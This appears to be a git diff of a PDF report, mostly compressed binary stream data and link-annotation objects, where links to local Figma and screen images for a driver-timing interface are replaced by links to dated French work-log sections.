0"h#f0B#f0"h#y>FD3`D4 Fxf0"h#`D4 FD3 0"h#f0`D4 FD3`7h#f0"o FD3`D4#f0"h#FD3`D4 Fhs`D4 FD3`7>Èh#f0"o FD3`D4#f0"h#FD3`D4 Fxf0"h#`D4 FD3 0"h#f0`D4 FD3`7h#f0"mf0"h#`D4 FD3`7h#f0"o FD3`D4#f0"h#FD3`D4 Fxf0"h#`D4 FD3 0"h#f0`D4 FD3`6FD3`D4 Fx~0"h#f0`D4 FD3`7h#f0"o| WOO͞^F<5ˆBs F< #>~;HEOK%ez$~$~{8w3Ip +Ih$aA$4Ih$aA$4Ih$aEހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$aEހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$aEހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix$Aހ$Ix o@ހ$Ix o@ހ$Ix" o@ހ$Ix]/H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9H7 o@ހ$9HšoxSIHː'ħ$~4Ek$j[$=߅O_.++3|g9oW +ެ:`&M 0B`&M 0B`&M\ 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o\ 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o\ 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7o 0`7m 0`7m 0`7k. 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7k. 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7k. 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7m 0`7k. 0`7m 0`7m 0`7m 0`7m}Oǿ Fec_?ˆ0\/G<#㻿 %{/`x匿]9{ +%4JXr&@ M%4JXr&@ M%4JXr7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%JXs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%JXs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%Jhs7@ o%9P7@ o%9P7@ o%P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%9P7@ o%P7@ o%9P7@ o%9P7@ o%9P7@ o%9Pšo?%2("J<zAwa%^0o_~{gWw>M||s!eH 3|g9oV9fIx2$ɐ& O$<dH“! M@ Ix2$ɐ'C$͐D4C ID3$ H"!h$fHD4C ID3$͐7 h$fH"! o@ ID3$͐D4Cހ$fH"!h$ID3$͐D4C IxfH"!h$$͐D4C ID3$ H"!h$fHB$fH"!h$ID3$͐D4C IxfH"!h$$͐D4C ID3$ H"!h$fHD4C ID3$͐7 h$fH"! o@ ID3$͐D4Cހ$fH"!h$ID3$͐D4C IhsD4C ID3$͐7 h$fH"! o@ ID3$͐D4Cހ$fH"!h$ID3$͐D4C IxfH"!h$$͐D4C ID3$ H"!h$$͐D4C ID3$ H"!h$fHB$fH"!h$ID3$͐D4C IxaH"!h$fHD4C ID3$͐7 h$fH"! o@ ID3$͐D4Cހ$fH"!h$ID3$͐D4C IxfH"!h$$͐D4C ID3$A ID3$͐D4Cހ$fH"!h$0$͐D4C ID3$ H"!h$fHD4C ID3$͐7 h$fH"! o@ ID3$͐D4Cހ$fH"!h$ID3$͐D4C IxfH"!h$ h$fH"! o@ ID3$͐D4C|fH"!h$$͐D4C ID3$ H"!h$fHD4C ID3$͐7 h$fH"! o@ ID3$͐D4Cހ$fH"!h$ID3$͐D4C IhsD4C ID3$͐7 h$fH"! o> ID3$͐D4C IxfH"!h$$7{l{@ߏx|Z~ $Ͽ$~8E/^ĿI_>G<>xϗ`xE Y[7 0B`%Fh 0B`%Fh 0B`%Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`5Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`5Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0`6Fx 0B#Fx 0B#Fx 0š #Fx 0B#Fx 0Bo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxo#Fxk`[ +FH`S0G_CWs=+zx)ˆ߄OO=O?>_W0W03|g9oW +ެ:`&#,90B`&M#4FXr`&M< Fho#ý#Fx0 0B#Fxa0`6Fx`7m 0›o 0`7#90`7o#Fhs`7o#Fhs`7o#Fhs`7o#FXsa7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#FXsa7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#Fhs`7o#90`7o#90`7o#0`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#0`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#0`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#90`7o#0`7o#90`7o#90`7o#90`7o#90šoؖ?#2F~DOuJ3jsʹ,IhF%,ʹD4KD30 b"hf&fj›&*hpɉF'"NT4*h#"GECM}T4QGD&?*hh@*R HEC MT4A&A*h$"0HE T4R@HDFB* h(`!ͅT4RdHE!aC*h:C"T4!RшHE3" DhL9E**RѬHE"MT4." T41RHE3#F*hlG"BT4:RHE#MDh~&H*!CRIES$T4GIFI*%h$"4IE$͓T4PRDIDfJ**hp% T4YRhIE%K*.hL<:¤fL*2h$"IEs& T4iRѨIDXM*6hܤy'MT4rRIEC'N34zz>|9=ޟ># +]« endstream endobj 250 0 obj @@ -3833,7 +3467,7 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 249 0 R /Resources 4 0 R -/Annots [ 251 0 R 252 0 R 253 0 R ] +/Annots [ 251 0 R 252 0 R 253 0 R 254 0 R 255 0 R 256 0 R 257 0 R 258 0 R 259 0 R 260 0 R 261 0 R 262 0 R 263 0 R 264 0 R 265 0 R 266 0 R 267 0 R 268 0 R 269 0 R 270 0 R 271 0 R 272 0 R 273 0 R 274 0 R 275 0 R 276 0 R 277 0 R 278 0 R 279 0 R 280 0 R 281 0 R 282 0 R 283 0 R 284 0 R 285 0 R 286 0 R 287 0 R 288 0 R 289 0 R 290 0 R 291 0 R 292 0 R 293 0 R 294 0 R 295 0 R 296 0 R 297 0 R 298 0 R 299 0 R 300 0 R 301 0 R 302 0 R 303 0 R 304 0 R 305 0 R 306 0 R 307 0 R 308 0 R 309 0 R 310 0 R 311 0 R 312 0 R 313 0 R 314 0 R 315 0 R 316 0 R 317 0 R 318 0 R 319 0 R 320 0 R 321 0 R 322 0 R 323 0 R 324 0 R 325 0 R 326 0 R 327 0 R 328 0 R 329 0 R 330 0 R 331 0 R 332 0 R 333 0 R 334 0 R 335 0 R 336 0 R 337 0 R 338 0 R 339 0 R 340 0 R 341 0 R 342 0 R 343 0 R 344 0 R 345 0 R 346 0 R 347 0 R 348 0 R 349 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> @@ -3842,2656 +3476,1968 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 37.466457 758.620422 ] +/Rect [ 55.386457 771.023622 555.889134 750.353622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation1.png) ->> +/Dest (jdb/:mardi-4-avril) >> endobj 252 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 479.104591 ] +/Rect [ 55.386457 765.503622 77.060285 751.103622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation1.png) ->> +/Dest (jdb/:mardi-4-avril) >> endobj 253 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 479.104591 297.637795 466.701391 ] +/Rect [ 538.710911 765.503622 555.889134 751.103622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation1.png) ->> +/Dest (jdb/:mardi-4-avril) >> endobj 254 0 obj << -/Filter /FlateDecode -/Length 1523 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 750.353622 555.889134 729.683622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mercredi-5-avril) >> -stream -xYɎ6+/  A|;[QETw[VB1JFuFy:}(1أ͟}ѳDZˬ 1ʅ(QRj?oSo RcD1 -=>?LFi d}(SN&ý~7yL\g0~[o%}M+- jot/z,\a]]ieuK:}g~e'5$B0aAP0Džt^D{% ro -K 7A2hD8I*g0_ c@Ƴ -.R=!K!A&y%!3eǓ_w*C05p9sDݟ(;V5arPA)hp嶌=@SVz q=8*qNYk˕Ɓ8:f,%f%MF -P,@II iPvb3qoč^,,ʾTm 9Bc^[J𐼫*;T*ÉQQAEܱXUMrr"_|vOp+37Ā XY 'û tkw#vE."9v 2lƔPP40bo*lU𧶭 n8`?XQiɿchFxO@@v6s[=¹"w[-)ٰGgk-]o}TUq,QUrpJ=tz̏]yz[I`dqXqol<rrH\phiRu$[e|pG݇U]'\(Õݥ=ARK%ZS2%W(ZQ3_$aU^x3*F`U^GVW^9>Ȫ!ج(Fy6~16lPxp/P .JIZi+5o`h&A]no!v ΆבA8i ~<%\AL*@#fMb'L,? -endstream endobj 255 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 254 0 R -/Resources 4 0 R -/Annots [ 256 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 744.833622 77.060285 730.433622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mercredi-5-avril) >> endobj 256 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 510.556422 37.466457 498.153222 ] +/Rect [ 538.710911 744.833622 555.889134 730.433622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanationDiagram.png) ->> +/Dest (jdb/:mercredi-5-avril) >> endobj 257 0 obj << -/Filter /FlateDecode -/Length 633 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 729.683622 555.889134 709.013622 ] +/BS << +/W 0 +>> +/Dest (jdb/:jeudi-6-avril) >> -stream -xT1 WqR @BfZf./d<].:sbt+ԟї"9Ew1< 3>-O~4PY8$X -qG@$ oçPg!r1(p@WnD0k%FWISŔ+|kRlѽm[ 4dg1J c,{^j{ݼ>U$@`j(>CD~/;5h7SJ"J/HqhZ2ǣcT/6/KE]L L%JD#rI'mpWrYOҴ-wZ`g>U3|Sه?{^j -endstream endobj 258 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 257 0 R -/Resources 4 0 R -/Annots [ 259 0 R 260 0 R 261 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 724.163622 77.060285 709.763622 ] +/BS << +/W 0 +>> +/Dest (jdb/:jeudi-6-avril) >> endobj 259 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 166.745071 ] +/Rect [ 538.710911 724.163622 555.889134 709.763622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanationDiagram.png) ->> +/Dest (jdb/:jeudi-6-avril) >> endobj 260 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 166.745071 297.637795 154.341871 ] +/Rect [ 55.386457 709.013622 555.889134 688.343622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanationDiagram.png) ->> +/Dest (jdb/:vendredi-6-avril-2023) >> endobj 261 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 78.372271 37.466457 65.969071 ] +/Rect [ 55.386457 703.493622 77.060285 689.093622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/MainZoneExample.png) ->> +/Dest (jdb/:vendredi-6-avril-2023) >> endobj 262 0 obj << -/Filter /FlateDecode -/Length 1005 +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 703.493622 555.889134 689.093622 ] +/BS << +/W 0 +>> +/Dest (jdb/:vendredi-6-avril-2023) >> -stream -xWM6W9CH{H{YE = -rhM?GJ[;i,Hp4p;!Gr=%!E}iK&b>[|v I Ru׮O\"J9u3;YMu͘hEs&&xQ&^X_]Ѹ|gGz9d<1wo`՗!w|X e` AY~{yr!h a;k\prvEf^\TkQ$|^ 2ag쾹Wvqy E 1 Ʃd0Og|GN%(U vf\P=yQq}Ӭy9ˍt$$C\/;s CeLKR-1\:#=7]VO*ՄXuXV=|Ihq2P?ۙ+(<2N%;E'x-q#W*aqPהQY m;U !+ Wƴʠ Aso0: @1 -'o{ I1…*7ҁ_COW9ǒn~sW כLI,`cH:;aȣ 2JY~^xGP$s[ `f땾g6Tz6/+ U<ݩ CocvF8]iO_?R>&2sH[CmH$ϑcbN "qBlU=Г$=O 2h(7ߡFTC6X ⣄|oڂf9;Q3hHK*X!Vlj3]UAj %.<%yqj`(?c_R -endstream endobj 263 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 262 0 R -/Resources 4 0 R -/Annots [ 264 0 R 265 0 R 266 0 R 267 0 R 268 0 R 269 0 R 270 0 R 271 0 R 272 0 R 273 0 R 274 0 R 275 0 R 276 0 R 277 0 R 278 0 R 279 0 R 280 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 688.343622 555.889134 667.673622 ] +/BS << +/W 0 +>> +/Dest (jdb/:vacances) >> endobj 264 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 563.863451 ] +/Rect [ 55.386457 682.823622 77.060285 668.423622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/MainZoneExample.png) ->> +/Dest (jdb/:vacances) >> endobj 265 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 563.863451 297.637795 551.460251 ] +/Rect [ 538.710911 682.823622 555.889134 668.423622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/MainZoneExample.png) ->> +/Dest (jdb/:vacances) >> endobj 266 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 495.645851 37.466457 483.242651 ] +/Rect [ 55.386457 667.673622 555.889134 647.003622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverZoneExample.png) ->> +/Dest (jdb/:lundi-24-avril-2023) >> endobj 267 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 495.645851 557.809134 487.870946 ] +/Rect [ 55.386457 662.153622 82.786359 647.753622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverZoneExample.png) ->> +/Dest (jdb/:lundi-24-avril-2023) >> endobj 268 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 487.870946 297.637795 475.467746 ] +/Rect [ 538.710911 662.153622 555.889134 647.753622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverZoneExample.png) ->> +/Dest (jdb/:lundi-24-avril-2023) >> endobj 269 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 419.653346 37.466457 407.250146 ] +/Rect [ 55.386457 647.003622 555.889134 626.333622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverPositionExample.png) ->> +/Dest (jdb/:mardi-25-avril-2023) >> endobj 270 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 419.653346 62.216457 400.153346 ] +/Rect [ 55.386457 641.483622 82.786359 627.083622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverPositionExample.png) ->> +/Dest (jdb/:mardi-25-avril-2023) >> endobj 271 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 400.153346 297.637795 387.750146 ] +/Rect [ 538.710911 641.483622 555.889134 627.083622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverPositionExample.png) ->> +/Dest (jdb/:mardi-25-avril-2023) >> endobj 272 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 331.935746 37.466457 319.532546 ] +/Rect [ 55.386457 626.333622 555.889134 605.663622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverNameExample.png) ->> +/Dest (jdb/:26-avril-2023) >> endobj 273 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 331.935746 169.466457 307.935746 ] +/Rect [ 55.386457 620.813622 82.786359 606.413622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverNameExample.png) ->> +/Dest (jdb/:26-avril-2023) >> endobj 274 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 307.935746 297.637795 295.532546 ] +/Rect [ 538.710911 620.813622 555.889134 606.413622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverNameExample.png) ->> +/Dest (jdb/:26-avril-2023) >> endobj 275 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 239.718146 37.466457 227.314946 ] +/Rect [ 55.386457 605.663622 555.889134 584.993622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverLapTimeExample.png) ->> +/Dest (jdb/:jeudi-27-avril-2023) >> endobj 276 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 239.718146 117.716457 220.968146 ] +/Rect [ 55.386457 600.143622 82.786359 585.743622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverLapTimeExample.png) ->> +/Dest (jdb/:jeudi-27-avril-2023) >> endobj 277 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 220.968146 297.637795 208.564946 ] +/Rect [ 538.710911 600.143622 555.889134 585.743622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverLapTimeExample.png) ->> +/Dest (jdb/:jeudi-27-avril-2023) >> endobj 278 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 152.750546 37.466457 140.347346 ] +/Rect [ 55.386457 584.993622 555.889134 564.323622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverTyreWindowExample.png) ->> +/Dest (jdb/:vendredi-28-avril-2023) >> endobj 279 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 152.750546 557.809134 131.069601 ] +/Rect [ 55.386457 579.473622 82.786359 565.073622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverTyreWindowExample.png) ->> +/Dest (jdb/:vendredi-28-avril-2023) >> endobj 280 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 131.069601 297.637795 118.666401 ] +/Rect [ 538.710911 579.473622 555.889134 565.073622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/DriverTyreWindowExample.png) ->> +/Dest (jdb/:vendredi-28-avril-2023) >> endobj 281 0 obj << -/Filter /FlateDecode -/Length 2565 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 564.323622 555.889134 543.653622 ] +/BS << +/W 0 +>> +/Dest (jdb/:lundi-1-mai-2023) >> -stream -x[ێ$ }p`@$0Fm#NQDKxS"CJ+"|#?)9~9}=['_דVywf2!^IJtdŸrzBR*5Y],'q=MNE? 1!C|=IZ]%MZ[)ӧot5]tR^nB{g^gfC֯]Ӥagmyǭk˻n`=_)sU\$C~mg2_gr"w uJy]W{tJjoQ.U RBYI}+cY\ -.1h,h"qؖZ6 RL~ǖzO!*X,ۏuLvLMnV^co7m7@)5 D׊WU`X]wY 7065lʡI*> -yw1w/!K&t؋1 JU"[,CLoDǵn,p$ ;2dh!},Yߙ7d JCH!uakd}nvC2xEf>Z| H5VJ׵+'<Ig +@pl9Z=xnAn5ue=鄯ꜼוSZ_/!I?^=w|_2*5 Y: Y&kV.;:3@2ީ^wlh㦘^|IX'((AQZq}SbxVĈ*Yю ({qgv[G 4@PgP(y3nK3'Wc;==:rQ|q -te^ύMh<JEZ$#/’ jS!Xp B=?O-a|`:*EЗ^IV{C\ E|G7 -CSwIU qSMf -Q\a=`: TC{A'thV:U)vVxnvt.Cc%DC9GFHUVA?ғHeR9Mz8RH0:P{l˻oNQ["0e$0)lj}m/7,n1ou]?2>ؠq!&] `*书Q2atݥ"KencR&WR'%WzJͨ]ڽTb6b, 8ɝ)bk NoZ66@A$N7(r3Nc4ܐ[ +#SHbpaWdjjlSVw@]v<~ݏNĆ ? @|3 r+9`0zR7Ґ5^Ӵ -Qxb}yt[ B*G6%)Ϭfk|fAS|zO C}4a -Qnr`g4k5M9bEZJA+"F]bfoN,GBօvyX%5dd:%lJG d>?!L!Ab_.v>jmZYۚbwH1Fi7OL~40C囑3F>${V;сQ" NX''e XO`?CAc٫!GG;H(>pFGOϦ'4C`9BUa:)@9elBx+EBMJy&??vl|`If,HgCzOY!}M)K!$Yjy#Eȕ~8'2ʝ!/0x|"@`zA˨ u|' 弇Dyn$q&]6$BбcqZcG$ XSZsbtBη]:QPlINl]5m!,%]i|Ldy:QOob3b2hQAnA;?i![jV^]ϓF8Uň붆InuѺ$a/-DfLZ&cpE9}6`_VZ,̩Jq^~~UܗJ|&9tn&5)~-t]OVȻ/xR'b[fL6 i͜ZS8vRi.F@]0N1可b$\UaAƫp.xTprKi-g@uVr[iw?Ѵ -endstream endobj 282 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 281 0 R -/Resources 4 0 R -/Annots [ 283 0 R 284 0 R 285 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 558.803622 82.786359 544.403622 ] +/BS << +/W 0 +>> +/Dest (jdb/:lundi-1-mai-2023) >> endobj 283 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 330.089862 37.466457 317.686662 ] +/Rect [ 538.710911 558.803622 555.889134 544.403622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Bad9Example.png) ->> +/Dest (jdb/:lundi-1-mai-2023) >> endobj 284 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 330.089862 268.466457 99.089862 ] +/Rect [ 55.386457 543.653622 555.889134 522.983622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Bad9Example.png) ->> +/Dest (jdb/:mardi-2-mai-2023) >> endobj 285 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 99.089862 297.637795 86.686662 ] +/Rect [ 55.386457 538.133622 82.786359 523.733622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Bad9Example.png) ->> +/Dest (jdb/:mardi-2-mai-2023) >> endobj 286 0 obj << -/Filter /FlateDecode -/Length 922 +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 538.133622 555.889134 523.733622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mardi-2-mai-2023) >> -stream -xV͎6 )Պ(J@!e)Zc"Ʋfg :ǖLGJ\?:ީi2/Kܟ&d͑,{v!@!hcQ&59DecwJ9fc8VD(IJ ڨ_M S*>dE|b8+ʽ N>N{۟oS,m덼Hd6l yh}+c޹{..f٬R8'e>$9k]֕~~:CFS%gK)ea3h,dT\1sOvwx\ "nC`ݜ@ T5z MB wAoWqh|˲*1ѿOq9j+asuOF; Vzݓ3dd۽>յ=2#z'|W%W^ϕ} j?VIEyg+u%YXK~=IssQG[!4T4!ߵLzV6$Y^ҿ?ϗn~YnV{+m֋7~/oX^2"<ѷZ,$Cl0)E,Kiehls\%(DI±.k};٥9?WcS{S> +/Dest (jdb/:recrutement-payerne-mai-2023) >> endobj 288 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 682.650822 37.466457 670.247622 ] +/Rect [ 55.386457 517.463622 82.786359 503.063622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Aliased9.png) ->> +/Dest (jdb/:recrutement-payerne-mai-2023) >> endobj 289 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 682.650822 268.466457 451.650822 ] +/Rect [ 538.710911 517.463622 555.889134 503.063622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Aliased9.png) ->> +/Dest (jdb/:recrutement-payerne-mai-2023) >> endobj 290 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 451.650822 297.637795 439.247622 ] +/Rect [ 55.386457 502.313622 555.889134 481.643622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Aliased9.png) ->> +/Dest (jdb/:vendredi-5-mai-2023) >> endobj 291 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 383.433222 37.466457 371.030022 ] +/Rect [ 55.386457 496.793622 82.786359 482.393622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Horrible9.png) ->> +/Dest (jdb/:vendredi-5-mai-2023) >> endobj 292 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 383.433222 268.466457 152.433222 ] +/Rect [ 538.710911 496.793622 555.889134 482.393622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Horrible9.png) ->> +/Dest (jdb/:vendredi-5-mai-2023) >> endobj 293 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 152.433222 297.637795 140.030022 ] +/Rect [ 55.386457 481.643622 555.889134 460.973622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Horrible9.png) ->> +/Dest (jdb/:lundi-8-mai-2023) >> endobj 294 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 84.215622 37.466457 71.812422 ] +/Rect [ 55.386457 476.123622 82.786359 461.723622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Clean9Example.png) ->> +/Dest (jdb/:lundi-8-mai-2023) >> endobj 295 0 obj << -/Filter /FlateDecode -/Length 948 +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 476.123622 555.889134 461.723622 ] +/BS << +/W 0 +>> +/Dest (jdb/:lundi-8-mai-2023) >> -stream -xW͎6 )UD%`!e)ZbBٲnҌFOG/p\|GZ~y8a7T=02xIkǏ!`k͞GcApax3O* uF.f L4ye_x]Cgԋ /|C,ӿ QDBDx)fŝ68Iۀ#*k NjX/o7I=zY?d`/CBBc"IK4vr˓ c<ܚun~2d#E!sZQ:W1CVKVR E Ӓۜ+r*SAf?_@"װ}ni4_oa6p3]lW{5ÃU&@zz}6fV0BO>I,Qbxfe?3~iFJ ÿq2U%lֻ p;d+5OPP26.tnGFKs`R\ `[x̒&%(iQt nawRǕm5 g;UbfwO>]_*A۠ybĹ5q?V[6sx}mjbL΂_&SY2f(:4 j!Kԗм* ⮌$#^>vR/%(}xS9fgLIw^[G,zYMW_`FEKIIh-~:: >պ:bmژr=>4A(ei*F -u'vA` SySY9tȾe (~FGiљq0]\C)`85=@IDpRI WPn~|~1F?q~1&#δ@w}  -endstream endobj 296 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 295 0 R -/Resources 4 0 R -/Annots [ 297 0 R 298 0 R 299 0 R 300 0 R 301 